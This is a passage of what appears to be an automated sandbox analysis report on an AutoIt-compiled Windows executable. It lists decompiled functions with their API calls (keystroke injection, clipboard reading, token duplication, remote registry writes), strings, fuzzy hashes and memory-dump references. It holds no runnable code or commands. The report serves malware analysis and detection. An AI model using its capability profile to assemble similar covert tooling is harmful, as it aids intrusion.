GetWindowRect.USER32 ref: 00007FF7C0EFE1BE
MoveWindow.USER32 ref: 00007FF7C0EFE1F1
MoveWindow.USER32 ref: 00007FF7C0EFE21F

Strings

P, xrefs: 00007FF7C0EFDCFD

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Window$MessageSend$Menu$Item$EnableInfoMove$DefaultShow$DrawFocusLongRect
String ID: P
API String ID: 1208186926-3110715001
Opcode ID: 0e3e078a853430a05022e0f772db04c3cd8d70c986a797c2cebe1c7d1304ed73
Instruction ID: 4464bb36d353c1f344639d08b71d12170bca003d29aa0f1e7ad7315c8430d705
Opcode Fuzzy Hash: 0e3e078a853430a05022e0f772db04c3cd8d70c986a797c2cebe1c7d1304ed73
Instruction Fuzzy Hash: AE120772B0C6428AEB24AF25D4547BDABA1FB857A4FC04535DA4A87B90CF7CF480C790

Function 00007FF7C0EE32AC Relevance: 47.6, APIs: 22, Strings: 5, Instructions: 327windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF7C0EE51B9
SystemParametersInfoW.USER32 ref: 00007FF7C0EE5312
SetRect.USER32 ref: 00007FF7C0EE5358
AdjustWindowRectEx.USER32 ref: 00007FF7C0EE536B
CreateWindowExW.USER32 ref: 00007FF7C0EE53D6
GetClientRect.USER32 ref: 00007FF7C0EE53EB
CreateWindowExW.USER32 ref: 00007FF7C0EE546A
CreateDCW.GDI32 ref: 00007FF7C0EE5486
GetStockObject.GDI32 ref: 00007FF7C0EE5496
SelectObject.GDI32 ref: 00007FF7C0EE54A2
GetTextFaceW.GDI32 ref: 00007FF7C0EE54B3
GetDeviceCaps.GDI32 ref: 00007FF7C0EE54C0
DeleteDC.GDI32 ref: 00007FF7C0EE54CB
CreateFontW.GDI32 ref: 00007FF7C0EE5530
SendMessageW.USER32 ref: 00007FF7C0EE5546
CreateWindowExW.USER32 ref: 00007FF7C0EE55A8
SendMessageW.USER32 ref: 00007FF7C0EE55C6
SendMessageW.USER32 ref: 00007FF7C0EE55DE
CreateWindowExW.USER32 ref: 00007FF7C0EE563B
GetStockObject.GDI32 ref: 00007FF7C0EE564B
SendMessageW.USER32 ref: 00007FF7C0EE5661
ShowWindow.USER32 ref: 00007FF7C0EE5671

Strings

AutoIt v3, xrefs: 00007FF7C0EE53C5
msctls_progress32, xrefs: 00007FF7C0EE558C
DISPLAY, xrefs: 00007FF7C0EE5473
A, xrefs: 00007FF7C0EE5629
static, xrefs: 00007FF7C0EE5463, 00007FF7C0EE5622

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: A$AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-2439800395
Opcode ID: 6a4158767fd1e3aa62d6cad0ab6a36848a32ab8b88e438b2c1d2663541e17033
Instruction ID: ae72f8a307d905031c43959e749482d61cec986558ce19f2b29e497537801f07
Opcode Fuzzy Hash: 6a4158767fd1e3aa62d6cad0ab6a36848a32ab8b88e438b2c1d2663541e17033
Instruction Fuzzy Hash: C1E1757660C74186E714EF65E84466AB7A0FB88BA8F904135DF4E83B64CF7CE485CB50

Function 00007FF7C0E74514 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 122threadkeyboardwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00007FF7C0E7452F
FindWindowW.USER32 ref: 00007FF7C0EBA812
IsIconic.USER32 ref: 00007FF7C0EBA81E
ShowWindow.USER32 ref: 00007FF7C0EBA830
SetForegroundWindow.USER32 ref: 00007FF7C0EBA839
GetWindowThreadProcessId.USER32 ref: 00007FF7C0EBA84C
GetCurrentThreadId.KERNEL32 ref: 00007FF7C0EBA854
GetWindowThreadProcessId.USER32 ref: 00007FF7C0EBA862
AttachThreadInput.USER32 ref: 00007FF7C0EBA878
AttachThreadInput.USER32 ref: 00007FF7C0EBA886
AttachThreadInput.USER32 ref: 00007FF7C0EBA894
SetForegroundWindow.USER32 ref: 00007FF7C0EBA89D
MapVirtualKeyW.USER32 ref: 00007FF7C0EBA8B2
keybd_event.USER32 ref: 00007FF7C0EBA8C3
MapVirtualKeyW.USER32 ref: 00007FF7C0EBA8CD
keybd_event.USER32 ref: 00007FF7C0EBA8DF
MapVirtualKeyW.USER32 ref: 00007FF7C0EBA8E9
keybd_event.USER32 ref: 00007FF7C0EBA8FA
MapVirtualKeyW.USER32 ref: 00007FF7C0EBA904
keybd_event.USER32 ref: 00007FF7C0EBA916
SetForegroundWindow.USER32 ref: 00007FF7C0EBA91F
AttachThreadInput.USER32 ref: 00007FF7C0EBA93C
AttachThreadInput.USER32 ref: 00007FF7C0EBA94A
AttachThreadInput.USER32 ref: 00007FF7C0EBA958

Strings

Shell_TrayWnd, xrefs: 00007FF7C0EBA80B

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Thread$Window$AttachInput$ForegroundVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 3778422247-2988720461
Opcode ID: cd6974c24a3c73bdd9695786a971f02835d0cd3b561fa91e9f0f548f8bdf6fbe
Instruction ID: b4ef0ac4fe60cbc53d321482b2595c6741f6b103fafeb0e357b9f93a69059f71
Opcode Fuzzy Hash: cd6974c24a3c73bdd9695786a971f02835d0cd3b561fa91e9f0f548f8bdf6fbe
Instruction Fuzzy Hash: 35415421B0C62243F7157F25A81863BB292BFC8FA5FD48031C90A97B54DF7DB88A4790

Function 00007FF7C0E5183C Relevance: 38.0, APIs: 25, Instructions: 475windowCOMMON

Download Yara Rule

APIs

DestroyWindow.USER32 ref: 00007FF7C0E518EA
DeleteObject.GDI32 ref: 00007FF7C0E5194E
DeleteObject.GDI32 ref: 00007FF7C0E51956
DestroyIcon.USER32 ref: 00007FF7C0E5195E
DestroyWindow.USER32 ref: 00007FF7C0E51966
ImageList_Destroy.COMCTL32 ref: 00007FF7C0E99C2A
MoveWindow.USER32 ref: 00007FF7C0E9A15B
SendMessageW.USER32 ref: 00007FF7C0E9A18F
SendMessageW.USER32 ref: 00007FF7C0E9A1AD
ImageList_Destroy.COMCTL32 ref: 00007FF7C0E9A1C2
ImageList_Destroy.COMCTL32 ref: 00007FF7C0E9A1D1

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Destroy$ImageList_Window$DeleteMessageObjectSend$IconMove
String ID:
API String ID: 3372153169-0
Opcode ID: cebe50662675a261df0ce57bb688d6874ca0698041b92cdd573b2dd792630721
Instruction ID: f5121b2c4b7276bca9fcf5626e2a9bc52bbeacedcdf3b3c56ab8f60e65420212
Opcode Fuzzy Hash: cebe50662675a261df0ce57bb688d6874ca0698041b92cdd573b2dd792630721
Instruction Fuzzy Hash: EC22AF32A49A8285EB64BF65D4546B9A3A1FF84FA4F944131CE1E87794DF3CF480C3A0

Function 00007FF7C0EBCE68 Relevance: 35.2, APIs: 17, Strings: 3, Instructions: 227processCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7C0EBD5CC: LookupPrivilegeValueW.ADVAPI32 ref: 00007FF7C0EBD630
Part of subcall function 00007FF7C0EBD5CC: AdjustTokenPrivileges.ADVAPI32 ref: 00007FF7C0EBD66F
Part of subcall function 00007FF7C0EBD5CC: GetLastError.KERNEL32 ref: 00007FF7C0EBD682

LogonUserW.ADVAPI32 ref: 00007FF7C0EBCF1A
DuplicateTokenEx.ADVAPI32 ref: 00007FF7C0EBCF4D
CloseHandle.KERNEL32 ref: 00007FF7C0EBCF60
OpenWindowStationW.USER32 ref: 00007FF7C0EBCF7F
GetProcessWindowStation.USER32 ref: 00007FF7C0EBCF96
SetProcessWindowStation.USER32 ref: 00007FF7C0EBCFA3
OpenDesktopW.USER32 ref: 00007FF7C0EBCFC3
wcscpy.LIBCMT ref: 00007FF7C0EBD0A5
LoadUserProfileW.USERENV ref: 00007FF7C0EBD0B8
CreateEnvironmentBlock.USERENV ref: 00007FF7C0EBD0D8
CreateProcessAsUserW.ADVAPI32 ref: 00007FF7C0EBD12F

Part of subcall function 00007FF7C0EBD780: GetProcessHeap.KERNEL32 ref: 00007FF7C0EBD7A2
Part of subcall function 00007FF7C0EBD780: HeapAlloc.KERNEL32 ref: 00007FF7C0EBD7B4
Part of subcall function 00007FF7C0EBD780: GetCurrentProcess.KERNEL32 ref: 00007FF7C0EBD7BD
Part of subcall function 00007FF7C0EBD780: GetCurrentProcess.KERNEL32 ref: 00007FF7C0EBD7C6
Part of subcall function 00007FF7C0EBD780: DuplicateHandle.KERNEL32 ref: 00007FF7C0EBD7EA
Part of subcall function 00007FF7C0EBD780: GetCurrentProcess.KERNEL32 ref: 00007FF7C0EBD7F0
Part of subcall function 00007FF7C0EBD780: GetCurrentProcess.KERNEL32 ref: 00007FF7C0EBD7F9
Part of subcall function 00007FF7C0EBD780: DuplicateHandle.KERNEL32 ref: 00007FF7C0EBD81E
Part of subcall function 00007FF7C0EBD780: CreateThread.KERNEL32 ref: 00007FF7C0EBD844

UnloadUserProfile.USERENV ref: 00007FF7C0EBD16C
CloseWindowStation.USER32 ref: 00007FF7C0EBD185
CloseDesktop.USER32 ref: 00007FF7C0EBD193
SetProcessWindowStation.USER32 ref: 00007FF7C0EBD1A5
CloseHandle.KERNEL32 ref: 00007FF7C0EBD1B0
DestroyEnvironmentBlock.USERENV ref: 00007FF7C0EBD1C7

Strings

winsta0\default, xrefs: 00007FF7C0EBD054
default, xrefs: 00007FF7C0EBCFB7
winsta0, xrefs: 00007FF7C0EBCF72

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Process$StationWindow$CloseCurrentHandleUser$CreateDuplicate$BlockDesktopEnvironmentHeapOpenProfileToken$AdjustAllocDestroyErrorLastLoadLogonLookupPrivilegePrivilegesThreadUnloadValuewcscpy
String ID: default$winsta0$winsta0\default
API String ID: 3202303201-1423368268
Opcode ID: b7d0b8b39f051f9df788fa98489ecf643cc29c02f39b668c8d2d326a2f0cf460
Instruction ID: 9f716f5da22ef9c2b238e3a2f68d86c585cc162d7521b99f4036654c5ef0c039
Opcode Fuzzy Hash: b7d0b8b39f051f9df788fa98489ecf643cc29c02f39b668c8d2d326a2f0cf460
Instruction Fuzzy Hash: 71A1A532B4DB4186EB10EF65E4442AAA3A1FB44BA8F844235DE5D87B98DF3CF045C794

Function 00007FF7C0E52AE0 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 282windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32 ref: 00007FF7C0E52BE8
GetSystemMetrics.USER32 ref: 00007FF7C0E52BF3
SystemParametersInfoW.USER32 ref: 00007FF7C0E52C25
GetSystemMetrics.USER32 ref: 00007FF7C0E52C2F
GetSystemMetrics.USER32 ref: 00007FF7C0E52C5A
SetRect.USER32 ref: 00007FF7C0E52C7D
AdjustWindowRectEx.USER32 ref: 00007FF7C0E52C90
CreateWindowExW.USER32 ref: 00007FF7C0E52CEF
SetWindowLongPtrW.USER32 ref: 00007FF7C0E52D0E
GetClientRect.USER32 ref: 00007FF7C0E52D30
GetStockObject.GDI32 ref: 00007FF7C0E52D4C
SendMessageW.USER32 ref: 00007FF7C0E52D5F

Part of subcall function 00007FF7C0E51CEC: GetCursorPos.USER32 ref: 00007FF7C0E51D1B
Part of subcall function 00007FF7C0E51CEC: ScreenToClient.USER32 ref: 00007FF7C0E51D3A
Part of subcall function 00007FF7C0E51CEC: GetAsyncKeyState.USER32 ref: 00007FF7C0E51D62
Part of subcall function 00007FF7C0E51CEC: GetAsyncKeyState.USER32 ref: 00007FF7C0E51D82

SetTimer.USER32 ref: 00007FF7C0E52D90

Strings

AutoIt v3 GUI, xrefs: 00007FF7C0E52CDF

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: b8f5b06e3d0277f3ffc73035af6cc9ad4e685f54e981a48a8f38e285d267cba3
Instruction ID: 82d7ccc152c8ed70e0560db36c4af4ad46f4380170a201160f1c4d6beb7d0cd0
Opcode Fuzzy Hash: b8f5b06e3d0277f3ffc73035af6cc9ad4e685f54e981a48a8f38e285d267cba3
Instruction Fuzzy Hash: 9CD15E32A08A568AE754FF78D8546AD77A1FB44B68F900535DA0E83BA4DF3CF484C790

Function 00007FF7C0EE0A6C Relevance: 30.2, APIs: 20, Instructions: 169clipboardCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00007FF7C0EE0AAA
IsClipboardFormatAvailable.USER32 ref: 00007FF7C0EE0AB7
GetClipboardData.USER32 ref: 00007FF7C0EE0AC9
CloseClipboard.USER32 ref: 00007FF7C0EE0AD7
GlobalLock.KERNEL32 ref: 00007FF7C0EE0B07
CloseClipboard.USER32 ref: 00007FF7C0EE0B12
GlobalUnlock.KERNEL32 ref: 00007FF7C0EE0B42
IsClipboardFormatAvailable.USER32 ref: 00007FF7C0EE0B52
GetClipboardData.USER32 ref: 00007FF7C0EE0B61
GlobalLock.KERNEL32 ref: 00007FF7C0EE0B76
GlobalUnlock.KERNEL32 ref: 00007FF7C0EE0BB5
CloseClipboard.USER32 ref: 00007FF7C0EE0CFC

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: 9b87d7956825108095e474127530b25728a3743fc17a6d5c8f31ecbd5b711407
Instruction ID: da52a8c4ccccebcfd44b10260308c47a5dfe004a3981374db9d0150bc1e3294c
Opcode Fuzzy Hash: 9b87d7956825108095e474127530b25728a3743fc17a6d5c8f31ecbd5b711407
Instruction Fuzzy Hash: 11717B22B4DA4682EB11BF11D45427DA361FF84BA8FC44435C94E837A2DF7CF68683A0

Function 00007FF7C0EFC6D4 Relevance: 28.9, APIs: 19, Instructions: 396windowCOMMON

Download Yara Rule

APIs

SetWindowTextW.USER32 ref: 00007FF7C0EFC876
SendMessageW.USER32 ref: 00007FF7C0EFC88E
SendMessageW.USER32 ref: 00007FF7C0EFC8B6
SendMessageW.USER32 ref: 00007FF7C0EFC8CE
CharNextW.USER32 ref: 00007FF7C0EFC903
SendMessageW.USER32 ref: 00007FF7C0EFC91B
SendMessageW.USER32 ref: 00007FF7C0EFC950
SendMessageW.USER32 ref: 00007FF7C0EFC971
GetMenuItemInfoW.USER32 ref: 00007FF7C0EFC9E1
SetMenuItemInfoW.USER32 ref: 00007FF7C0EFCA06
DrawMenuBar.USER32 ref: 00007FF7C0EFCA13
SendMessageW.USER32 ref: 00007FF7C0EFCA53
InvalidateRect.USER32 ref: 00007FF7C0EFCA78
SetWindowTextW.USER32 ref: 00007FF7C0EFCB01
SendMessageW.USER32 ref: 00007FF7C0EFCB71
SendMessageW.USER32 ref: 00007FF7C0EFCBE3
SendMessageW.USER32 ref: 00007FF7C0EFCC3D
SendMessageW.USER32 ref: 00007FF7C0EFCCC3
SendMessageW.USER32 ref: 00007FF7C0EFCD2E

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow$CharDrawInvalidateNextRect
String ID:
API String ID: 1015379403-0
Opcode ID: c223660f41613faab48e644fda56d4534d60a7471830602c41769a8e954ea874
Instruction ID: cb17752b7d2392380de21d9e4e1d1fcc86ad781a8d47d41d525d14f98114f250
Opcode Fuzzy Hash: c223660f41613faab48e644fda56d4534d60a7471830602c41769a8e954ea874
Instruction Fuzzy Hash: 7702C321A4D68289EB20BF2096046B9E761FB847E4FE44232DA5E87BD4CF3CF545C790

Function 00007FF7C0EE206C Relevance: 27.1, APIs: 18, Instructions: 125COMMON

Download Yara Rule

APIs

LoadCursorW.USER32 ref: 00007FF7C0EE2094
LoadCursorW.USER32 ref: 00007FF7C0EE20A5
LoadCursorW.USER32 ref: 00007FF7C0EE20B6
LoadCursorW.USER32 ref: 00007FF7C0EE20C7
LoadCursorW.USER32 ref: 00007FF7C0EE20D8
LoadCursorW.USER32 ref: 00007FF7C0EE20E9
LoadCursorW.USER32 ref: 00007FF7C0EE20FA
LoadCursorW.USER32 ref: 00007FF7C0EE210B
LoadCursorW.USER32 ref: 00007FF7C0EE211C
LoadCursorW.USER32 ref: 00007FF7C0EE212D
LoadCursorW.USER32 ref: 00007FF7C0EE213E
LoadCursorW.USER32 ref: 00007FF7C0EE214F
LoadCursorW.USER32 ref: 00007FF7C0EE2160
LoadCursorW.USER32 ref: 00007FF7C0EE2171
LoadCursorW.USER32 ref: 00007FF7C0EE2182
LoadCursorW.USER32 ref: 00007FF7C0EE2193
GetCursorInfo.USER32 ref: 00007FF7C0EE21A8
GetLastError.KERNEL32 ref: 00007FF7C0EE21E9

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: 486734a10a8987c1c87853d7cfea6df4eeb43b8f453fb3bc83844081bd685034
Instruction ID: 9a1b623a57cf3fd4e00fe4c1cd5e6a58bbff41a5c6032b51bcbaf1c8310aee8a
Opcode Fuzzy Hash: 486734a10a8987c1c87853d7cfea6df4eeb43b8f453fb3bc83844081bd685034
Instruction Fuzzy Hash: BE516D32B0CB028AEB44AF64F41817E73A1FB48B68F844439DA4E87794DFBCE5558394

Function 00007FF7C0EF0AEC Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 388registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32 ref: 00007FF7C0EF0BF8
RegCreateKeyExW.ADVAPI32 ref: 00007FF7C0EF0C8C
RegSetValueExW.ADVAPI32 ref: 00007FF7C0EF0ED2
RegSetValueExW.ADVAPI32 ref: 00007FF7C0EF1047
RegCloseKey.ADVAPI32 ref: 00007FF7C0EF107A
RegCloseKey.ADVAPI32 ref: 00007FF7C0EF1089

Strings

REG_QWORD, xrefs: 00007FF7C0EF0F90
REG_EXPAND_SZ, xrefs: 00007FF7C0EF0CFB
REG_SZ, xrefs: 00007FF7C0EF0D83
REG_MULTI_SZ, xrefs: 00007FF7C0EF0DF8
REG_DWORD, xrefs: 00007FF7C0EF0F1D
REG_BINARY, xrefs: 00007FF7C0EF0FE8

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: CloseValue$ConnectCreateRegistry
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 3314541760-966354055
Opcode ID: 265c0aadd30e599e88ee88e894c65e230150ea50144a7fdd654b0d5fdf7d7a66
Instruction ID: a2367f1f05821ec2ef411cea13e874dae40fd8d9d9164d82f696e723530bfe7d
Opcode Fuzzy Hash: 265c0aadd30e599e88ee88e894c65e230150ea50144a7fdd654b0d5fdf7d7a66
Instruction Fuzzy Hash: 10027F76B48A4685EB10FF26D4902ADB760FB88FA8B848432DE0D87756DF38F545C390

Function 00007FF7C0E55F3C Relevance: 23.0, APIs: 12, Strings: 1, Instructions: 223COMMON

Download Yara Rule

Strings

P, xrefs: 00007FF7C0E55F65

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID:
String ID: P
API String ID: 0-3110715001
Opcode ID: 088bba3a1016d805068b1795b2da5f6ed91fd4b1a7bbf8d4e2293c13cc0fe4ac
Instruction ID: 3fb1ddb122361784b45ff5dbef5b87fc9dc6ad977d809a271609029d5ab5c0cd
Opcode Fuzzy Hash: 088bba3a1016d805068b1795b2da5f6ed91fd4b1a7bbf8d4e2293c13cc0fe4ac
Instruction Fuzzy Hash: B7A1CF72A48A4186E724FF25D4142AAF760FB84BA8F908135DA5E83B94CF7CF545C7A0

Function 00007FF7C0E92400 Relevance: 21.4, APIs: 8, Strings: 4, Instructions: 366timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7C0E9243E

Part of subcall function 00007FF7C0E91BE0: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E91BF4

_get_daylight.LIBCMT ref: 00007FF7C0E9242D

Part of subcall function 00007FF7C0E91C40: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E91C54

_get_daylight.LIBCMT ref: 00007FF7C0E92673
_get_daylight.LIBCMT ref: 00007FF7C0E92684
_get_daylight.LIBCMT ref: 00007FF7C0E92695
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7C0E928F5), ref: 00007FF7C0E926BC
WideCharToMultiByte.KERNEL32 ref: 00007FF7C0E92752
WideCharToMultiByte.KERNEL32 ref: 00007FF7C0E9279E

Strings

:, xrefs: 00007FF7C0E9255E
-, xrefs: 00007FF7C0E92503
:, xrefs: 00007FF7C0E92534
?, xrefs: 00007FF7C0E92791

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

